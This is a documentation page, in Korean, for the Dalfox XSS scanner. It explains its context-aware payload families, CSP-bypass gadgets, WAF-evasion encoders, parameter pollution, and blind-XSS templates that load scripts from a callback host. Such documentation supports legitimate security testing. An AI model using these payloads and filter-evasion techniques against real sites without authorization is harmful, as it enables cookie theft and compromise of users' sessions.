페이로드와 인코딩
Dalfox는 컨텍스트를 인식하는 엄선된 페이로드 라이브러리를 내장하고 있습니다. 대부분은 여기에 신경 쓸 일이 없습니다. 엔진이 각 주입 컨텍스트에 맞는 페이로드를 알아서 고릅니다. 이 페이지에서는 내장된 내용과 이를 확장하는 방법을 다룹니다.
페이로드 계열
Dalfox는 여러 계열로부터 페이로드를 구성합니다:
| 계열 | 예시 | 사용 시점 |
|---|---|---|
| HTML 태그 | <svg onload=alert(1)> |
HTML 컨텍스트 |
| 속성 브레이크아웃 | '><img src=x onerror=alert(1)> |
속성 내부 |
| JavaScript | ";alert(1);// |
<script> 블록 내부 |
| 이벤트 핸들러 | onmouseover=alert(1) |
기존 속성 값 |
| DOM 클로버링 | <img id=x> |
레거시 DOM 조회 |
| URL 프로토콜 | javascript:alert(1) |
href/src 계열 속성 |
| CSP 우회 | strict-dynamic 스크립트 가젯, nonce 재사용, 허용된 호스트의 JSONP |
응답에 우회 가능한 CSP가 있을 때 |
| mXSS | <foreignobject>/DOMPurify 우회 |
새니타이저가 변형한 DOM |
| 블라인드 | "'><script src=CALLBACK></script> |
-b/--blind 또는 --blind-oob가 설정된 경우 |
대부분의 페이로드 템플릿은 마커(class={CLASS} 또는 id={ID})를 지니고 있어, 검증 단계에서 DOM 내에서 자신의 요소를 확실하게 식별할 수 있습니다. 길이 제한이 있는 반사에 들어가도록 마커를 뺀 짧은 페이로드도 몇 개 있는데, 이런 페이로드는 파싱된 응답에서 페이로드 자신의 이벤트 핸들러나 <script> 본문을 찾아 검증합니다.
컨텍스트 인식 선택
탐색 중 Dalfox는 각 파라미터를 주입 컨텍스트, 즉 반사된 값이 도달하는 위치에 따라 분류합니다:
- HTML 본문 → HTML 태그, mXSS, DOM 클로버링 페이로드 (값이 HTML 주석 안에 들어가면
-->…<!--로 감쌈) - 따옴표로 감싼 속성 내부 → 속성 브레이크아웃과 스스로 실행되는 이벤트 핸들러 페이로드. URL 프로토콜 페이로드를 가장 먼저 보냄
<script>내부 → 문자열 구분자 브레이크아웃('-alert(1)-',${alert(1)}등)과</script>태그 브레이크아웃<style>내부 →</style>브레이크아웃 뒤에 HTML 태그- 알 수 없음 → HTML, 속성, mXSS, DOM 클로버링, URL 프로토콜 페이로드를 번갈아 섞은 조합
덕분에 적중률은 높이면서 요청 수는 적정선으로 유지합니다.
CSP 인식 우회 페이로드
프리플라이트(preflight) 단계가 Content-Security-Policy(또는 …-Report-Only) 헤더나 같은 정책을 담은 <meta http-equiv>를 발견하면, Dalfox는 이를 파싱하여 스크립트 실행 페이로드를 해당 정책의 실제 약점에 맞게 조정합니다. 페이로드는 실제로 악용 가능한 지시어(directive)에 대해서만 생성되므로, CSP가 없는(또는 견고하게 설정된) 대상은 추가 요청을 보지 않습니다.
| CSP 형태 | Dalfox가 내보내는 페이로드 |
|---|---|
unsafe-inline / unsafe-eval |
직접 인라인 / eval 계열 페이로드 |
base-uri / object-src 누락 |
<base> 하이재킹 / <object>/<embed> 주입 |
script-src 내의 data: / blob: |
<script src=data:…> / Blob URL 로더 |
| 화이트리스트에 등록된 CDN 호스트 | 해당 호스트에 맞는 JSONP / 프레임워크 스크립트 가젯 |
strict-dynamic |
DOM 스크립트 가젯(RequireJS data-main, document.write 자가 전파, AngularJS 부트스트랩)과, nonce가 캡처된 경우 nonce 재사용 |
특히 눈여겨볼 형태가 둘 있습니다:
strict-dynamic.strict-dynamic하에서는 브라우저가 호스트 허용 목록을 무시하므로, 평범한<script src=allowed-host>는 더 이상 로드되지 않습니다. Dalfox는 DOM 스크립트 가젯(이미 신뢰된 스크립트가 공격자 스크립트를 생성하게 만드는 페이로드)으로 전환하고, 정책이 nonce를 고정(pin)하면<script nonce=…>재사용 페이로드를 내보냅니다(nonce가 정적이거나 예측 가능하거나 반사될 때 효과적).- Nonce / 해시 고정(pinning).
'nonce-…'및'sha256-…'토큰이 파싱되어 정책 분류에 사용됩니다.strict-dynamic도 없고 가젯 호스트도 없는 순수 무작위 nonce/해시 정책은 *견고함(hardened)*으로 취급됩니다. Dalfox는 그런 정책에 요청을 낭비하지 않습니다.
가젯은 공개된 CSP 우회 연구(JSONBee, cure53 H5SC, Google CSP Evaluator)에서 가져왔습니다.
Trusted Types 인식
Trusted Types는 견고하게 설계된 앱에서 DOM-XSS를 완화하는 주된 수단입니다. Dalfox의 AST DOM-XSS 분석기는 이를 이해합니다:
- 엄격한(strict) 정책 콜백(
createPolicy('p', {createHTML: s => DOMPurify.sanitize(s)}))은 다른 새니타이저와 마찬가지로 오염(taint)을 제거하므로,p.createHTML(x)를 거쳐 전달된 값은 더 이상 보고되지 않습니다. - 관대한(permissive) 기본 정책(우회 가능한 것으로 잘 알려진 no-op
createPolicy('default', {createHTML: x => x}))은 보호 수단으로 오인되지 않습니다. 탐지 결과는 유지되고 플래그가 지정됩니다. - 응답 CSP가
require-trusted-types-for 'script'를 강제하고, 동시에 페이지가 엄격한'default'정책을 정의하면, 브라우저가 모든 TrustedHTML 싱크를 자동으로 새니타이즈합니다. Dalfox는 이 경우 오탐이 될 탐지 결과를 억제합니다.
이 분류기는 의도적으로 보수적입니다. 안전함을 입증할 수 없는 것은 무엇이든 관대한(permissive) 상태로 남으므로, 탐지 결과가 유지됩니다. 억제는 강제(enforcement) 없이는 결코 발동하지 않으므로, 기본 정책을 정의했지만 require-trusted-types-for를 빠뜨린 페이지는 여전히 보고됩니다. 즉, 미탐(false negative)이 도입되지 않습니다.
인코더
인코더는 동일한 페이로드를 여러 형태로 변환하여, WAF와 서버 측 필터가 모두 같은 바이트를 보지 않도록 합니다.
dalfox scan https://target.app -e url,html,base64
사용 가능한 인코더:
| 인코더 | <를 변환하는 형태 |
비고 |
|---|---|---|
none |
< (원시) |
인코딩을 끕니다(아래 참고) |
url |
%3C |
1회 URL 인코딩 |
2url |
%253C |
2중 URL 인코딩 |
3url |
%25253C |
3중 |
4url |
%2525253C |
4중 |
html |
< |
모든 문자를 16진 엔티티로 바꿉니다 |
htmlpad |
< |
7자리로 0을 채운 16진 엔티티. 영문자, 숫자, 공백은 그대로 둡니다 |
base64 |
PA== |
페이로드 전체를 base64로 인코딩 |
unicode |
< |
출력 가능한 ASCII 문자를 전각(fullwidth) 문자(U+FF01–U+FF5E)로 매핑 |
zwsp |
< + U+200B |
< > " ' ( ) / ; 뒤에 폭 없는 공백(zero-width space) 삽입 |
기본값: url,html. 원시 페이로드는 항상 함께 전송되므로, 활성화된 인코더마다 기본 페이로드당 변형이 하나씩 늘어납니다(기본값이면 페이로드마다 세 가지 형태로 보냅니다). 목록에 none을 추가하면, Dalfox는 원시 페이로드만 보냅니다.
커스텀 페이로드
한 줄에 하나씩, 직접 만든 목록을 제공합니다. 빈 줄과 #으로 시작하는 줄은 건너뜁니다:
dalfox scan https://target.app --custom-payload mypayloads.txt
로컬 내장 라이브러리 대신 커스텀 파일을 사용합니다:
dalfox scan https://target.app --custom-payload mypayloads.txt --only-custom-payload
--custom-payload 없이 --only-custom-payload만 주면 거부됩니다. 파일이 없거나 쓸 수 있는 줄이 하나도 없을 때도 마찬가지이며, --only-custom-payload 없이 쓸 때는 경고만 하고 내장 페이로드로 스캔합니다. 커스텀 파일이 로컬 반사 및 DOM 검사의 기본 페이로드가 됩니다. 적응형 합성과 CSP/기술 공유 페이로드는 추가하지 않습니다. 인코더와 WAF 변형은 커스텀 항목에서 파생되며, 명시적으로 요청한 --remote-payloads는 계속 사용됩니다.
원격 페이로드 소스
커뮤니티 워드리스트를 필요할 때 가져옵니다:
dalfox scan https://target.app --remote-payloads portswigger,payloadbox
지원되는 소스: portswigger, payloadbox. 실행마다 한 번 가져오며, --proxy와 --timeout을 준수합니다.
페이로드 확인하기
스캔을 실행하지 않고 페이로드 계열을 출력합니다. 각 셀렉터의 설명은 CLI 레퍼런스에 있습니다. portswigger와 payloadbox는 원격 목록을 가져오고, 나머지는 내장 목록입니다:
dalfox payload javascript # alert(1), alert`1`, prompt(1), ...
dalfox payload event-handlers # onerror, onmouseover, ...
dalfox payload useful-tags # svg, img, script, ...
dalfox payload uri-scheme # javascript:, data:
dalfox payload special-chars # < > " ' ` ( ) ... 및 인코딩된 변형
dalfox payload functions # 확인 가능한 싱크: alert(1), window['alert'](1), ...
dalfox payload awesome-alert # PoC alert: alert(document.domain), alert(document.cookie)
dalfox payload dom-clobbering # DOM 클로버링 벡터
dalfox payload mxss # mutation-XSS / 새니타이저 우회 페이로드
dalfox payload blind # blind-XSS 스켈레톤 ({} = 콜백 URL)
dalfox payload portswigger # 원격 목록을 가져와 출력
dalfox payload payloadbox # 원격 목록을 가져와 출력
dalfox payload all # 모든 로컬 셀렉터를 "# name" 헤더로 묶어 출력
모든 셀렉터는 한 줄에 하나씩 출력하므로 일반적인 셸 도구와 조합할 수 있습니다:
dalfox payload functions | grep -i prompt
dalfox payload special-chars | wc -l
--json을 붙이면 JSON 배열로 출력합니다(dalfox payload all --json은 모든 로컬 그룹을 하나의 배열로 합치고, 셀렉터 없이 dalfox payload --json을 실행하면 셀렉터별 개수를 출력합니다).
special-chars 그룹은 수동 반사 테스트에 유용합니다. 각 바이트를 하나씩 주입해 어떤 문자가
그대로 반사되는지, 어떤 문자가 HTML/URL 인코딩되어 돌아오는지, 어떤 문자가 제거되는지 확인할 수
있습니다. functions와 awesome-alert는 눈으로 실행을 확인하고 호스트/오리진을 표시하도록
선별되어 있어, 스크린샷 한 장으로 영향을 증명할 수 있습니다.
"alert" 커스터마이징
전형적인 alert(1)은 요란할 수 있습니다. 이를 교체하면 곳곳에서 대화 상자를 띄우지 않고도 영향(impact)을 입증할 수 있습니다:
# alert(document.domain): 값이 JavaScript 표현식으로 남음
dalfox scan https://target.app --custom-alert-value document.domain
# alert('dalfox'): 값이 문자열 리터럴이 됨
dalfox scan https://target.app --custom-alert-value dalfox --custom-alert-type str
--custom-alert-value:alert(1)/prompt(1)/confirm(1)호출(백틱 형태 포함)의1을 이 값으로 바꿉니다. 기본값1. 주입 컨텍스트가 파악된 파라미터의 주요 반사 페이로드에만 적용되고, DOM 검증용 페이로드와 생성된 페이로드는alert(1)을 그대로 쓰므로 보고된 PoC에alert(1)이 나올 수 있습니다.--custom-alert-type:none(기본값)은 값을 그대로 넣으므로document.domain이 표현식으로 남고,str은 값을 작은따옴표로 감싸 문자열 리터럴로 만듭니다.
Blind XSS
Blind XSS는 나중에, 직접 볼 수 없는 컨텍스트(관리자 패널, 지원 담당자의 대시보드)에서 발동합니다. 대역 외(out-of-band) 리스너가 필요합니다:
dalfox scan https://target.app -b https://your-callback.interact.sh
커스텀 블라인드 템플릿:
dalfox scan https://target.app \
-b https://your-callback.example \
--custom-blind-xss-payload blind-templates.txt
# 각 줄에는 {callback}이 있어야 함(콜백 URL로 치환됨)
{callback}이 들어 있는 줄만 사용되며, 나머지 줄은 경고와 함께 건너뜁니다. # 주석과 빈 줄은 무시합니다. 리터럴 {}는 그대로 두므로 템플릿에 ()=>{} 같은 JavaScript를 넣을 수 있습니다. 그래서 dalfox payload blind가 출력하는 {} 스켈레톤을 여기에 쓰려면 {}를 {callback}으로 바꿔야 합니다. 쓸 수 있는 줄이 하나도 없으면 내장 템플릿으로 대체합니다.
직접 운영하는 콜백 서버가 없다면 --blind-oob가 interactsh에 등록하고 콜백을 직접 폴링하며, 도착한 콜백은 V 탐지 결과가 됩니다. 스캔 모드의 Blind XSS를 참고하세요.
HTTP 파라미터 오염(HPP)
일부 필터는 같은 이름의 파라미터 중 하나만 검사합니다. --hpp를 주면 Dalfox는 각 쿼리 파라미터의 처음 다섯 개 페이로드를, 파라미터를 중복시킨 채 다시 보냅니다. 페이로드는 마지막 자리, 첫 자리, 양쪽 모두에 넣어 봅니다:
dalfox scan https://target.app --hpp
적중하면 inject_type이 inHTML-HPP인 R로 보고됩니다. 중복 파라미터 처리를 통과했다는 뜻일 뿐 실행 가능한 위치에 도달했다는 증거는 아니므로, 직접 확인하세요.
딥 스캔
기본적으로 Dalfox는 검증된 페이로드를 찾으면 해당 파라미터에 대한 테스트를 중단합니다. --deep-scan은 계속 진행하며, 파라미터당 기본 페이로드 3000개라는 내장 상한도 해제합니다(CLI 레퍼런스의 --max-payloads-per-param 참고):
dalfox scan https://target.app --deep-scan
연구에는 유용하지만, 프로덕션 파이프라인에서는 더 느립니다.
페이로드 단계 건너뛰기
| 플래그 | 효과 |
|---|---|
--skip-xss-scanning |
탐색과 프로빙만 수행; 페이로드 주입 없음 |
--skip-ast-analysis |
인라인 스크립트의 AST 기반 DOM-XSS 탐지 건너뛰기 ([A] 결과) |
--skip-ast-analysis는 source → sink 흐름(예: location.hash → innerHTML)을 [A](AST 탐지) 결과로 보고하는 정적 DOM-XSS 패스를 제어하며, 파라미터 마이닝과는 독립적입니다. --skip-mining-dom은 이 패스에 영향을 주지 않습니다. 패스는 그대로 두고 결과에서만 숨기려면 --only-poc v,r을 사용하세요. [A]가 실제로 무엇을 증명하는지, 그리고 순수 클라이언트 사이드 DOM-XSS가 왜 [V]에 도달하지 못하는지는 탐지 모델 문서에서 다룹니다.